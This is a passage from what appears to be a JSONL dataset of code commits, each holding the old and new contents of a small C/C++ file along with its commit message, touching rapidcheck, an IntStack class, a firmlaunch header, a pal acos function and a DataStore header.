naths\/tensorflow,rabipanda\/tensorflow,ghchinoy\/tensorflow,anilmuthineni\/tensorflow,xzturn\/tensorflow,suiyuan2009\/tensorflow,manipopopo\/tensorflow,girving\/tensorflow,lakshayg\/tensorflow,petewarden\/tensorflow,dendisuhubdy\/tensorflow,memo\/tensorflow,aldian\/tensorflow,eadgarchen\/tensorflow,tongwang01\/tensorflow,gautam1858\/tensorflow,jwlawson\/tensorflow,JinXinDeep\/tensorflow,Carmezim\/tensorflow,DavidNorman\/tensorflow,abhitopia\/tensorflow,apark263\/tensorflow,ibmsoe\/tensorflow,haeusser\/tensorflow,AndreasMadsen\/tensorflow,dongjoon-hyun\/tensorflow,Intel-Corporation\/tensorflow,Bismarrck\/tensorflow,asadziach\/tensorflow,cxxgtxy\/tensorflow,apark263\/tensorflow,naturali\/tensorflow,brchiu\/tensorflow,SnakeJenny\/TensorFlow,ville-k\/tensorflow,tongwang01\/tensorflow,a-doumoulakis\/tensorflow,Bulochkin\/tensorflow_pack,Mistobaan\/tensorflow,AnishShah\/tensorflow,nightjean\/Deep-Learning,rdipietro\/tensorflow,zasdfgbnm\/tensorflow,manjunaths\/tensorflow,jwlawson\/tensorflow,nburn42\/tensorflow,sandeepdsouza93\/TensorFlow-15712,Kongsea\/tensorflow,davidzchen\/tensorflow,dancingdan\/tensorflow,chenjun0210\/tensorflow,girving\/tensorflow,strint\/tensorflow,cancan101\/tensorflow,zasdfgbnm\/tensorflow,aselle\/tensorflow,sarvex\/tensorflow,awni\/tensorflow,SnakeJenny\/TensorFlow,sandeepdsouza93\/TensorFlow-15712,ppwwyyxx\/tensorflow,chenjun0210\/tensorflow,jbedorf\/tensorflow,AnishShah\/tensorflow,renyi533\/tensorflow,kchodorow\/tensorflow,ppries\/tensorflow,JingJunYin\/tensorflow,rabipanda\/tensorflow,mavenlin\/tensorflow,RapidApplicationDevelopment\/tensorflow,andrewcmyers\/tensorflow,jart\/tensorflow,maciekcc\/tensorflow,martinbede\/second-sight,gunan\/tensorflow,ishay2b\/tensorflow,JVillella\/tensorflow,ageron\/tensorflow,admcrae\/tensorflow,naturali\/tensorflow,horance-liu\/tensorflow,apark263\/tensorflow,benoitsteiner\/tensorflow-opencl,tongwang01\/tensorflow,theflofly\/tensorflow,4Quant\/tensorflow,tensorflow\/tensorflow,alsrgv\/tensorflow,DCSaunders\/tensorflow,tomasreimers\/tensorflow-emscripten,hsaputra\/tensorflow,rdipietro\/tensorflow,anand-c-goog\/tensorflow,manipopopo\/tensorflow,theflofly\/tensorflow,dongjoon-hyun\/tensorflow,benoitsteiner\/tensorflow-opencl,jhseu\/tensorflow,mavenlin\/tensorflow,chris-chris\/tensorflow,taknevski\/tensorflow-xsmm,eerwitt\/tensorflow,AnishShah\/tensorflow,mrry\/tensorflow,martinbede\/second-sight,apark263\/tensorflow,memo\/tensorflow,Xeralux\/tensorflow,peterbraden\/tensorflow,wchan\/tensorflow,dancingdan\/tensorflow,Intel-tensorflow\/tensorflow,anilmuthineni\/tensorflow,lakshayg\/tensorflow,moonboots\/tensorflow,cg31\/tensorflow,lukeiwanski\/tensorflow-opencl,with-git\/tensorflow,nburn42\/tensorflow,admcrae\/tensorflow,andrewcmyers\/tensorflow,laszlocsomor\/tensorflow,DCSaunders\/tensorflow,raymondxyang\/tensorflow,jeffzheng1\/tensorflow,markslwong\/tensorflow,Intel-Corporation\/tensorflow,snnn\/tensorflow,calebfoss\/tensorflow,maciekcc\/tensorflow,alheinecke\/tensorflow-xsmm,rabipanda\/tensorflow,kamcpp\/tensorflow,apark263\/tensorflow,Carmezim\/tensorflow,tillahoffmann\/tensorflow,karllessard\/tensorflow,asadziach\/tensorflow,ghchinoy\/tensorflow,hlt-mt\/tensorflow,brchiu\/tensorflow,frreiss\/tensorflow-fred,manazhao\/tf_recsys,abhitopia\/tensorflow,alisidd\/tensorflow,memo\/tensorflow,sarvex\/tensorflow,krikru\/tensorflow-opencl,caisq\/tensorflow,unsiloai\/syntaxnet-ops-hack,AnishShah\/tensorflow,benoitsteiner\/tensorflow-xsmm,juharris\/tensorflow,benoitsteiner\/tensorflow-xsmm,petewarden\/tensorflow,theflofly\/tensorflow,Moriadry\/tensorflow,mengxn\/tensorflow,peterbraden\/tensorflow,DavidNorman\/tensorflow,paolodedios\/tensorflow,renyi533\/tensorflow,annarev\/tensorflow,awni\/tensorflow,JinXinDeep\/tensorflow,gunan\/tensorflow,laosiaudi\/tensorflow,alshedivat\/tensorflow,ishay2b\/tensorflow,jalexvig\/tensorflow,benoitsteiner\/tensorflow-xsmm,karllessard\/tensorflow,Intel-Corporation\/tensorflow,RapidApplicationDevelopment\/tensorflow,snnn\/tensorflow,ychfan\/tensorflow,aam-at\/tensorflow,a-doumoulakis\/tensorflow,a-doumoulakis\/tensorflow,av8ramit\/tensorflow,naturali\/tensorflow,wangyum\/tensorflow,handroissuazo\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,ArtsiomCh\/tensorflow,aselle\/tensorflow,awni\/tensorflow,gnieboer\/tensorflow,tomasreimers\/tensorflow-emscripten,panmari\/tensorflow,xodus7\/tensorflow,Xeralux\/tensorflow,lukas-krecan\/tensorflow,ibmsoe\/tensorflow,naturali\/tensorflow,chenjun0210\/tensorflow,memo\/tensorflow,alivecor\/tensorflow,tongwang01\/tensorflow,eerwitt\/tensorflow,RapidApplicationDevelopment\/tensorflow,HKUST-SING\/tensorflow,alsrgv\/tensorflow,jendap\/tensorflow,theflofly\/tensorflow,benoitsteiner\/tensorflow,johndpope\/tensorflow,tensorflow\/tensorflow,hlt-mt\/tensorflow,haeusser\/tensorflow,ibab\/tensorflow,girving\/tensorflow,alistairlow\/tensorflow,alisidd\/tensorflow,jart\/tensorflow,SnakeJenny\/TensorFlow,ychfan\/tensorflow,ran5515\/DeepDecision,benoitsteiner\/tensorflow-opencl,dancingdan\/tensorflow,a-doumoulakis\/tensorflow,johndpope\/tensorflow,with-git\/tensorflow,sandeepdsouza93\/TensorFlow-15712,manipopopo\/tensorflow,Mistobaan\/tensorflow,rabipanda\/tensorflow,kamcpp\/tensorflow,with-git\/tensorflow,hehongliang\/tensorflow,benoitsteiner\/tensorflow-opencl,ran5515\/DeepDecision,kevin-coder\/tensorflow-fork,whn09\/tensorflow,freedomtan\/tensorflow,jbedorf\/tensorflow,zycdragonball\/tensorflow,dhalleine\/tensorflow,drpngx\/tensorflow,neilhan\/tensorflow,nanditav\/15712-TensorFlow,ibab\/tensorflow,alsrgv\/tensorflow,asadziach\/tensorflow,cg31\/tensorflow,Xeralux\/tensorflow,dongjoon-hyun\/tensorflow,frreiss\/tensorflow-fred,dendisuhubdy\/tensorflow,hlt-mt\/tensorflow,mortada\/tensorflow,ppwwyyxx\/tensorflow,mavenlin\/tensorflow,zasdfgbnm\/tensorflow,seanli9jan\/tensorflow,zycdragonball\/tensorflow,LUTAN\/tensorflow,kchodorow\/tensorflow,Intel-Corporation\/tensorflow,andrewcmyers\/tensorflow,karllessard\/tensorflow,brchiu\/tensorflow,chenjun0210\/tensorflow,ghchinoy\/tensorflow,jart\/tensorflow,alivecor\/tensorflow,seaotterman\/tensorflow,horance-liu\/tensorflow,ArtsiomCh\/tensorflow,arborh\/tensorflow,annarev\/tensorflow,Mazecreator\/tensorflow,dongjoon-hyun\/tensorflow,SnakeJenny\/TensorFlow,JingJunYin\/tensorflow,MycChiu\/tensorflow,dhalleine\/tensorflow,taknevski\/tensorflow-xsmm,jart\/tensorflow,frreiss\/tensorflow-fred,lukeiwanski\/tensorflow-opencl,AndreasMadsen\/tensorflow,benoitsteiner\/tensorflow,kamcpp\/tensorflow,yanchen036\/tensorflow,manipopopo\/tensorflow,alshedivat\/tensorflow,meteorcloudy\/tensorflow,seaotterman\/tensorflow,renyi533\/tensorflow,allenlavoie\/tensorflow,aam-at\/tensorflow,snnn\/tensorflow,kchodorow\/tensorflow,pierreg\/tensorflow,code-sauce\/tensorflow,yongtang\/tensorflow,yongtang\/tensorflow,allenlavoie\/tensorflow,llhe\/tensorflow,cancan101\/tensorflow,unsiloai\/syntaxnet-ops-hack,jbedorf\/tensorflow,laosiaudi\/tensorflow,odejesush\/tensorflow,thjashin\/tensorflow,mortada\/tensorflow,gunan\/tensorflow,yufengg\/tensorflow,cg31\/tensorflow,lakshayg\/tensorflow,benoitsteiner\/tensorflow-opencl,laszlocsomor\/tensorflow,petewarden\/tensorflow,dongjoon-hyun\/tensorflow,whn09\/tensorflow,DCSaunders\/tensorflow,aam-at\/tensorflow,JinXinDeep\/tensorflow,zasdfgbnm\/tensorflow,tntnatbry\/tensorflow,alistairlow\/tensorflow,Bulochkin\/tensorflow_pack,TakayukiSakai\/tensorflow,laszlocsomor\/tensorflow,caisq\/tensorflow,davidzchen\/tensorflow,karllessard\/tensorflow,llhe\/tensorflow,eaplatanios\/tensorflow,brchiu\/tensorflow,mixturemodel-flow\/tensorflow,ZhangXinNan\/tensorflow,MostafaGazar\/tensorflow,JVillella\/tensorflow,Bismarrck\/tensorflow,asadziach\/tensorflow,theflofly\/tensorflow,RapidApplicationDevelopment\/tensorflow,ivano666\/tensorflow,MostafaGazar\/tensorflow,av8ramit\/tensorflow,alistairlow\/tensorflow,xodus7\/tensorflow,wchan\/tensorflow,eadgarchen\/tensorflow,MostafaGazar\/tensorflow,ivano666\/tensorflow,taknevski\/tensorflow-xsmm,taknevski\/tensorflow-xsmm,benoitsteiner\/tensorflow,aam-at\/tensorflow,tornadozou\/tensorflow,laosiaudi\/tensorflow,ageron\/tensorflow,thesuperzapper\/tensorflow,RapidApplicationDevelopment\/tensorflow,Intel-tensorflow\/tensorflow,chemelnucfin\/tensorflow,annarev\/tensorflow,nightjean\/Deep-Learning,av8ramit\/tensorflow,lakshayg\/tensorflow,HKUST-SING\/tensorflow,ZhangXinNan\/tensorflow,DCSaunders\/tensorflow,lukas-krecan\/tensorflow,manjunaths\/tensorflow,MoamerEncsConcordiaCa\/tensorflow,jhseu\/tensorflow,anand-c-goog\/tensorflow,jostep\/tensorflow,vrv\/tensorflow,thjashin\/tensorflow,tornadozou\/tensorflow,moonboots\/tensorflow,ZhangXinNan\/tensorflow,moonboots\/tensorflow,lukas-krecan\/tensorflow,aldian\/tensorflow,Bismarrck\/tensorflow,DavidNorman\/tensorflow,jwlawson\/tensorflow,av8ramit\/tensorflow,bowang\/tensorflow,abhitopia\/tensorflow,RapidApplicationDevelopment\/tensorflow,gunan\/tensorflow,neilhan\/tensorflow,XueqingLin\/tensorflow,jendap\/tensorflow,MoamerEncsConcordiaCa\/tensorflow,4Quant\/tensorflow,kobejean\/tensorflow,neilhan\/tensorflow,AnishShah\/tensorflow,gnieboer\/tensorflow,admcrae\/tensorflow,snnn\/tensorflow,gnieboer\/tensorflow,dhalleine\/tensorflow,Bulochkin\/tensorflow_pack,dendisuhubdy\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,DCSaunders\/tensorflow,JVillella\/tensorflow,alisidd\/tensorflow,anand-c-goog\/tensorflow,gojira\/tensorflow,JingJunYin\/tensorflow,theflofly\/tensorflow,gnieboer\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,ibab\/tensorflow,mengxn\/tensorflow,gautam1858\/tensorflow,HaebinShin\/tensorflow,suiyuan2009\/tensorflow,with-git\/tensorflow,aam-at\/tensorflow,yanchen036\/tensorflow,yanchen036\/tensorflow,jendap\/tensorflow,Carmezim\/tensorflow,mrry\/tensorflow,thesuperzapper\/tensorflow,hfp\/tensorflow-xsmm,ppries\/tensorflow,strint\/tensorflow,JVillella\/tensorflow,benoitsteiner\/tensorflow,haeusser\/tensorflow,Intel-tensorflow\/tensorflow,xzturn\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,DavidNorman\/tensorflow,kevin-coder\/tensorflow-fork,dendisuhubdy\/tensorflow,abhitopia\/tensorflow,peterbraden\/tensorflow,av8ramit\/tensorflow,yongtang\/tensorflow,zycdragonball\/tensorflow,llhe\/tensorflow,thesuperzapper\/tensorflow,ivano666\/tensorflow,renyi533\/tensorflow,chris-chris\/tensorflow,sarvex\/tensorflow,alisidd\/tensorflow,JingJunYin\/tensorflow,paolodedios\/tensorflow,xodus7\/tensorflow,nanditav\/15712-TensorFlow,kamcpp\/tensorflow,ibmsoe\/tensorflow,AnishShah\/tensorflow,ghchinoy\/tensorflow,with-git\/tensorflow,gojira\/tensorflow,xodus7\/tensorflow,caisq\/tensorflow,zycdragonball\/tensorflow,benoitsteiner\/tensorflow-xsmm,HaebinShin\/tensorflow,nolanliou\/tensorflow,laosiaudi\/tensorflow,eaplatanios\/tensorflow,memo\/tensorflow,odejesush\/tensorflow,JingJunYin\/tensorflow,freedomtan\/tensorflow,4Quant\/tensorflow,sandeepgupta2k4\/tensorflow,Mazecreator\/tensorflow,ageron\/tensorflow,asimshankar\/tensorflow,mengxn\/tensorflow,asimshankar\/tensorflow,mavenlin\/tensorflow,ZhangXinNan\/tensorflow,tiagofrepereira2012\/tensorflow,ghchinoy\/tensorflow,seanli9jan\/tensorflow,ppwwyyxx\/tensorflow,jalexvig\/tensorflow,jbedorf\/tensorflow,Xeralux\/tensorflow,strint\/tensorflow,allenlavoie\/tensorflow,jostep\/tensorflow,laszlocsomor\/tensorflow,DavidNorman\/tensorflow,eadgarchen\/tensorflow,kobejean\/tensorflow,Intel-tensorflow\/tensorflow,martinbede\/second-sight,moonboots\/tensorflow,manazhao\/tf_recsys,tensorflow\/tensorflow-pywrap_tf_optimizer,thjashin\/tensorflow,annarev\/tensorflow,paolodedios\/tensorflow,anand-c-goog\/tensorflow,AndreasMadsen\/tensorflow,alivecor\/tensorflow,petewarden\/tensorflow_makefile,ravindrapanda\/tensorflow,Moriadry\/tensorflow,ishay2b\/tensorflow,ishay2b\/tensorflow,elingg\/tensorflow,lukeiwanski\/tensorflow,renyi533\/tensorflow,nikste\/tensorflow,lukeiwanski\/tensorflow,ran5515\/DeepDecision,scenarios\/tensorflow,jendap\/tensorflow,tillahoffmann\/tensorflow,Mistobaan\/tensorflow,theflofly\/tensorflow,AndreasMadsen\/tensorflow,XueqingLin\/tensorflow,hlt-mt\/tensorflow,ppwwyyxx\/tensorflow,davidzchen\/tensorflow,nburn42\/tensorflow,benoitsteiner\/tensorflow,zasdfgbnm\/tensorflow,meteorcloudy\/tensorflow,annarev\/tensorflow,laszlocsomor\/tensorflow,manipopopo\/tensorflow,brchiu\/tensorflow,tongwang01\/tensorflow,raymondxyang\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,cxxgtxy\/tensorflow,benoitsteiner\/tensorflow,jart\/tensorflow,SnakeJenny\/TensorFlow,manazhao\/tf_recsys,manjunaths\/tensorflow,vrv\/tensorflow,petewarden\/tensorflow,lukeiwanski\/tensorflow,gojira\/tensorflow,kamcpp\/tensorflow,ran5515\/DeepDecision,alshedivat\/tensorflow,nolanliou\/tensorflow,gunan\/tensorflow,gautam1858\/tensorflow,hlt-mt\/tensorflow,sjperkins\/tensorflow,alivecor\/tensorflow,ArtsiomCh\/tensorflow,theflofly\/tensorflow,jostep\/tensorflow,yongtang\/tensorflow,Xeralux\/tensorflow,alheinecke\/tensorflow-xsmm,TakayukiSakai\/tensorflow,sandeepdsouza93\/TensorFlow-15712,raymondxyang\/tensorflow,scenarios\/tensorflow,ninotoshi\/tensorflow,alsrgv\/tensorflow,snnn\/tensorflow,jhseu\/tensorflow,ppries\/tensorflow,Bismarrck\/tensorflow,markslwong\/tensorflow,jhaux\/tensorflow,annarev\/tensorflow,eadgarchen\/tensorflow,RyanYoung25\/tensorflow,alsrgv\/tensorflow,lakshayg\/tensorflow,EvenStrangest\/tensorflow,moonboots\/tensorflow,ageron\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,laosiaudi\/tensorflow,tillahoffmann\/tensorflow,dhalleine\/tensorflow,nburn42\/tensorflow,ville-k\/tensorflow,gautam1858\/tensorflow,gojira\/tensorflow,a-doumoulakis\/tensorflow,asadziach\/tensorflow,arborh\/tensorflow,mrry\/tensorflow,sandeepgupta2k4\/tensorflow,arborh\/tensorflow,paolodedios\/tensorflow,4Quant\/tensorflow,brchiu\/tensorflow,llhe\/tensorflow,tensorflow\/tensorflow,dendisuhubdy\/tensorflow,ychfan\/tensorflow,johndpope\/tensorflow,ageron\/tensorflow,suiyuan2009\/tensorflow,manipopopo\/tensorflow,raymondxyang\/tensorflow,chemelnucfin\/tensorflow,AndreasMadsen\/tensorflow,arborh\/tensorflow,kevin-coder\/tensorflow-fork,dyoung418\/tensorflow,hsaputra\/tensorflow,nburn42\/tensorflow,davidzchen\/tensorflow,code-sauce\/tensorflow,TakayukiSakai\/tensorflow,odejesush\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,raymondxyang\/tensorflow,memo\/tensorflow,unsiloai\/syntaxnet-ops-hack,ninotoshi\/tensorflow,Kongsea\/tensorflow,laszlocsomor\/tensorflow,HaebinShin\/tensorflow,drpngx\/tensorflow,zycdragonball\/tensorflow,kchodorow\/tensorflow,yufengg\/tensorflow,chemelnucfin\/tensorflow,ibab\/tensorflow,jbedorf\/tensorflow,vrv\/tensorflow,andrewcmyers\/tensorflow,petewarden\/tensorflow_makefile,krikru\/tensorflow-opencl,Xeralux\/tensorflow,ville-k\/tensorflow,xodus7\/tensorflow,guschmue\/tensorflow,adamtiger\/tensorflow,manipopopo\/tensorflow,tntnatbry\/tensorflow,ageron\/tensorflow,scenarios\/tensorflow,hsaputra\/tensorflow,gunan\/tensorflow,nburn42\/tensorflow,dancingdan\/tensorflow,moonboots\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,RapidApplicationDevelopment\/tensorflow,tntnatbry\/tensorflow,a-doumoulakis\/tensorflow,hfp\/tensorflow-xsmm,xodus7\/tensorflow,aselle\/tensorflow,jeffzheng1\/tensorflow,kevin-coder\/tensorflow-fork,freedomtan\/tensorflow,guschmue\/tensorflow,ibab\/tensorflow,annarev\/tensorflow,seaotterman\/tensorflow,manipopopo\/tensorflow,alivecor\/tensorflow,rabipanda\/tensorflow,taknevski\/tensorflow-xsmm,arborh\/tensorflow,sarvex\/tensorflow,cancan101\/tensorflow,alistairlow\/tensorflow,av8ramit\/tensorflow,anand-c-goog\/tensorflow,MoamerEncsConcordiaCa\/tensorflow,DavidNorman\/tensorflow,Mistobaan\/tensorflow,AndreasMadsen\/tensorflow,adit-chandra\/tensorflow,shreyasva\/tensorflow,sjperkins\/tensorflow,Mazecreator\/tensorflow,vrv\/tensorflow,jwlawson\/tensorflow,memo\/tensorflow,wangyum\/tensorflow,mdrumond\/tensorflow,jostep\/tensorflow,adit-chandra\/tensorflow,martinbede\/second-sight,Bismarrck\/tensorflow,kamcpp\/tensorflow,yaroslavvb\/tensorflow,alheinecke\/tensorflow-xsmm,bowang\/tensorflow,4Quant\/tensorflow,horance-liu\/tensorflow,jart\/tensorflow,johndpope\/tensorflow,eaplatanios\/tensorflow,Mazecreator\/tensorflow,sandeepdsouza93\/TensorFlow-15712,hfp\/tensorflow-xsmm,jhaux\/tensorflow,yongtang\/tensorflow,lukas-krecan\/tensorflow,benoitsteiner\/tensorflow-xsmm,tomasreimers\/tensorflow-emscripten,Carmezim\/tensorflow,hfp\/tensorflow-xsmm,with-git\/tensorflow,tillahoffmann\/tensorflow,ychfan\/tensorflow,aam-at\/tensorflow,chris-chris\/tensorflow,MoamerEncsConcordiaCa\/tensorflow,zycdragonball\/tensorflow,drpngx\/tensorflow,XueqingLin\/tensorflow,ville-k\/tensorflow,kamcpp\/tensorflow,markslwong\/tensorflow,Mistobaan\/tensorflow,xzturn\/tensorflow,strint\/tensorflow,handroissuazo\/tensorflow,adamtiger\/tensorflow,horance-liu\/tensorflow,dyoung418\/tensorflow,gojira\/tensorflow,zasdfgbnm\/tensorflow,gojira\/tensorflow"}
{"commit":"d456379d6c183b97b5fecae6f256fd6c931fcf04","old_file":"include\/rapidcheck-catch.h","new_file":"include\/rapidcheck-catch.h","old_contents":"#pragma once\n\n#include <rapidcheck.h>\n\n#include <sstream>\n\nnamespace rc {\n\n\/\/\/ For use with `catch.hpp`. Use this function wherever you would use a\n\/\/\/ `SECTION` for convenient checking of properties.\n\/\/\/\n\/\/\/ @param description  A description of the property.\n\/\/\/ @param testable     The object that implements the property.\ntemplate <typename Testable>\nvoid prop(const std::string &description, Testable &&testable) {\n  using namespace detail;\n\n  SECTION(description) {\n    const auto result = checkTestable(std::forward<Testable>(testable));\n    std::ostringstream ss;\n    printResultMessage(result, ss);\n    INFO(ss.str() << \"\\n\");\n    if (!result.template is<SuccessResult>()) {\n      FAIL();\n    }\n  }\n}\n\n} \/\/ namespace rc\n","new_contents":"#pragma once\n\n#include <rapidcheck.h>\n\n#include <sstream>\n\nnamespace rc {\n\n\/\/\/ For use with `catch.hpp`. Use this function wherever you would use a\n\/\/\/ `SECTION` for convenient checking of properties.\n\/\/\/\n\/\/\/ @param description  A description of the property.\n\/\/\/ @param testable     The object that implements the property.\ntemplate <typename Testable>\nvoid prop(const std::string &description, Testable &&testable) {\n  using namespace detail;\n\n  SECTION(description) {\n    const auto result = checkTestable(std::forward<Testable>(testable));\n    if (result.template is<SuccessResult>()) {\n      const auto success = result.template get<SuccessResult>();\n      if (!success.distribution.empty()) {\n        std::cout << \"- \" << description << std::endl;\n        printResultMessage(result, std::cout);\n        std::cout << std::endl;\n      }\n    } else {\n      std::ostringstream ss;\n      printResultMessage(result, ss);\n      INFO(ss.str() << \"\\n\");\n      FAIL();\n    }\n  }\n}\n\n} \/\/ namespace rc\n","subject":"Add printing of distribution to catch.hpp integration","message":"Add printing of distribution to catch.hpp integration\n","lang":"C","license":"bsd-2-clause","repos":"unapiedra\/rapidfuzz,unapiedra\/rapidfuzz,emil-e\/rapidcheck,tm604\/rapidcheck,emil-e\/rapidcheck,whoshuu\/rapidcheck,unapiedra\/rapidfuzz,tm604\/rapidcheck,whoshuu\/rapidcheck,tm604\/rapidcheck,emil-e\/rapidcheck,whoshuu\/rapidcheck"}
{"commit":"6031c76c7967b748fa9f6fddf7d042bda3e2e5de","old_file":"smbase\/intstack.h","new_file":"smbase\/intstack.h","old_contents":"\/\/ intstack.h            see license.txt for copyright and terms of use\n\/\/ stack of ints\n\n\/\/ quarl 2006-05-31 initial version based on sobjstack.h\n\n#ifndef INTSTACK_H\n#define INTSTACK_H\n\n#include \"intlist.h\"    \/\/ IntList\n\ntemplate <class T>\nclass IntStack {\nprivate:      \/\/ data\n  \/\/ will implement the stack as a list, with prepend and removeAt(0)\n  IntList<T> list;\n\npublic:       \/\/ funcs\n  IntStack()                            : list() {}\n  ~IntStack()                           {}\n\n  int count() const                     { return list.count(); }\n  bool isEmpty() const                  { return list.isEmpty(); }\n  bool isNotEmpty() const               { return list.isNotEmpty(); }\n\n  T top()                               { return list.first(); }\n\n  T pop()                               { return list.removeAt(0); }\n  void delPop()                         { list.deleteAt(0); }\n  void push(T item)                     { list.prepend(item); }\n  void clear()                          { list.deleteAll(); }\n\n  bool contains(T const item) const     { return list.contains((void*)item); }\n};\n\n#endif \/\/ INTSTACK_H\n","new_contents":"\/\/ intstack.h            see license.txt for copyright and terms of use\n\/\/ stack of ints\n\n\/\/ quarl 2006-05-31 initial version based on sobjstack.h\n\n#ifndef INTSTACK_H\n#define INTSTACK_H\n\n#include \"intlist.h\"    \/\/ IntList\n\ntemplate <class T>\nclass IntStack {\nprivate:      \/\/ data\n  \/\/ will implement the stack as a list, with prepend and removeAt(0)\n  IntList<T> list;\n\npublic:       \/\/ funcs\n  IntStack()                            : list() {}\n  ~IntStack()                           {}\n\n  int count() const                     { return list.count(); }\n  bool isEmpty() const                  { return list.isEmpty(); }\n  bool isNotEmpty() const               { return list.isNotEmpty(); }\n\n  T top()                               { return list.first(); }\n\n  \/\/ peek at nth item (linear time)\n  T nth(int which)                      { return list.nth(which); }\n\n  T pop()                               { return list.removeAt(0); }\n  void delPop()                         { list.deleteAt(0); }\n  void push(T item)                     { list.prepend(item); }\n  void clear()                          { list.deleteAll(); }\n\n  bool contains(T const item) const     { return list.contains((void*)item); }\n};\n\n#endif \/\/ INTSTACK_H\n","subject":"Add IntStack::nth() for peeking at Nth item","message":"Add IntStack::nth() for peeking at Nth item\n\n","lang":"C","license":"bsd-3-clause","repos":"angavrilov\/olmar,angavrilov\/olmar,angavrilov\/olmar,angavrilov\/olmar"}
{"commit":"85854585eba837646ecd0977e65c95be89c53818","old_file":"firmlaunch.h","new_file":"firmlaunch.h","old_contents":"#ifndef FIRMLAUNCH_H\n#define FIRMLAUNCH_H\n\n#include \"types.h\"\n\nint firm_setup(u32* FIRM, void* N3DSKey1, void* N3DSKey2);\nvoid firmlaunch(u32* FIRM);\nint patch(u32* FIRM, u32* search_size, u8* pattern, u8* patch_data, u32 pattern_size, u32 patch_size);\n\n#endif\n","new_contents":"#ifndef FIRMLAUNCH_H\n#define FIRMLAUNCH_H\n\n#include \"types.h\"\n\nint firm_setup(u32* FIRM, void* N3DSKey1, void* N3DSKey2);\nvoid firmlaunch(u32* FIRM);\nint patch(u32* FIRM, u32 search_size, u8* pattern, u8* patch_data, u32 pattern_size, u32 patch_size);\n\n#endif\n","subject":"Fix my stupid error :\/","message":"Fix my stupid error :\/\n","lang":"C","license":"mit","repos":"fox8091\/libFirmlaunch,fox8091\/libFirmlaunch"}
{"commit":"fa7c9bc2318b195aa8218e51e8f1c4b1f52ac43e","old_file":"src\/math\/p_acos.c","new_file":"src\/math\/p_acos.c","old_contents":"#include <pal.h>\n\n\/**\n *\n * Computes the inverse cosine (arc cosine) of the input vector 'a'. Input\n * values to acos must be in the range -1 to 1. The result values are in the\n * range 0 to pi. The function does not check for illegal input values.\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @return      None\n *\n *\/\n#include <math.h>\nvoid p_acos_f32(const float *a, float *c, int n)\n{\n\n    int i;\n    for (i = 0; i < n; i++) {\n        *(c + i) = acosf(*(a + i));\n    }\n}\n","new_contents":"#include <math.h>\n#include <pal.h>\n\nstatic const float pi_2 = (float) M_PI \/ 2.f;\n\n\/**\n *\n * Computes the inverse cosine (arc cosine) of the input vector 'a'. Input\n * values to acos must be in the range -1 to 1. The result values are in the\n * range 0 to pi. The function does not check for illegal input values.\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @return      None\n *\n *\/\nvoid p_acos_f32(const float *a, float *c, int n)\n{\n\n    int i;\n    float tmp;\n    \/* acos x = pi\/2 - asin x *\/\n    p_asin_f32(a, c, n);\n    for (i = 0; i < n; i++) {\n        tmp = pi_2 - c[i];\n        c[i] = tmp;\n    }\n}\n","subject":"Implement the inverse cosine function.","message":"math:acos: Implement the inverse cosine function.\n\nSigned-off-by: Mansour Moufid <ac5f6b12fab5e0d4efa7215e6c2dac9d55ab77dc@gmail.com>\n","lang":"C","license":"apache-2.0","repos":"debug-de-su-ka\/pal,parallella\/pal,eliteraspberries\/pal,aolofsson\/pal,aolofsson\/pal,Adamszk\/pal3,debug-de-su-ka\/pal,eliteraspberries\/pal,eliteraspberries\/pal,parallella\/pal,mateunho\/pal,debug-de-su-ka\/pal,mateunho\/pal,mateunho\/pal,debug-de-su-ka\/pal,olajep\/pal,8l\/pal,Adamszk\/pal3,8l\/pal,parallella\/pal,debug-de-su-ka\/pal,8l\/pal,eliteraspberries\/pal,aolofsson\/pal,parallella\/pal,eliteraspberries\/pal,olajep\/pal,parallella\/pal,mateunho\/pal,olajep\/pal,aolofsson\/pal,8l\/pal,olajep\/pal,Adamszk\/pal3,mateunho\/pal,Adamszk\/pal3"}
{"commit":"90da898d0f4e4b3e664a081be92141e61b28fc46","old_file":"You-DataStore\/datastore.h","new_file":"You-DataStore\/datastore.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <stack>\n#include <memory>\n#include \"task_typedefs.h\"\n#include \"transaction.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests {}\n\nclass DataStore {\npublic:\n\tTransaction && begin();\n\n\tstatic DataStore& get();\n\n\t\/\/ Modifying methods\n\tvoid post(TaskId, SerializedTask&);\n\tvoid put(TaskId, SerializedTask&);\n\tvoid erase(TaskId);\n\n\tstd::vector<SerializedTask> getAllTask();\n\n\tvoid notify();\n\nprivate:\n\tbool isServing = false;\n\tstd::shared_ptr<Transaction> activeTransaction;\n\tstd::stack<std::shared_ptr<Transaction> > transactionStack;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <stack>\n#include <memory>\n#include \"task_typedefs.h\"\n#include \"transaction.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests {}\n\nclass DataStore {\npublic:\n\tTransaction && begin();\n\n\tstatic DataStore& get();\n\n\t\/\/ Modifying methods\n\tvoid post(TaskId, const SerializedTask&);\n\tvoid put(TaskId, const SerializedTask&);\n\tvoid erase(TaskId);\n\n\tstd::vector<SerializedTask> getAllTask();\n\n\tvoid notify();\n\nprivate:\n\tbool isServing = false;\n\tstd::shared_ptr<Transaction> activeTransaction;\n\tstd::stack<std::shared_ptr<Transaction> > transactionStack;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","subject":"Add const modifier to post and put method of DataStore","message":"Add const modifier to post and put method of 